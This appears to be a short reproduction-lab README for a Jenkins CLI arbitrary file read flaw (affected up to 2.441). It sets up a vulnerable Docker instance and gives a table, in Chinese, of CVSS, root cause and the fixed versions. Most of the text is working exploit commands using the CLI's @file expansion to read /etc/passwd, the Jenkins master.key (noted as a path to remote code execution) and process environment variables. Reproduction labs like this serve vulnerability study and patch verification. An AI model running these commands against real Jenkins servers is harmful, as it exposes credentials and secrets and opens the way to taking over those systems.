# 1. Start lab
docker-compose up -d
# 2. Wait ~30s, then download CLI tool
curl -O http://localhost:8080/jnlpJars/jenkins-cli.jar
# 3. Exploit — read /etc/passwd (full file)
java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/etc/passwd
# 4. Read master.key (chain to RCE)
java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/var/jenkins_home/secrets/master.key
# 5. Read environment variables
java -jar jenkins-cli.jar -s http://localhost:8080 -http help @/proc/self/environ
有关完整技术分析(越南语),请参阅 REPORT.md。
| 项目 | 值 |
|---|---|
| CVSS | 9.8(严重) |
| 受影响版本 | Jenkins <= 2.441, LTS <= 2.426.2 |
| 实验环境版本 | jenkins/jenkins:2.426.2-lts |
| 根本原因 | 服务器端 CLI 启用了 args4j 的 expandAtFiles |
| 修复方案 | 升级至 Jenkins >= 2.442 / LTS >= 2.426.3 |
docker-compose down -v --remove-orphans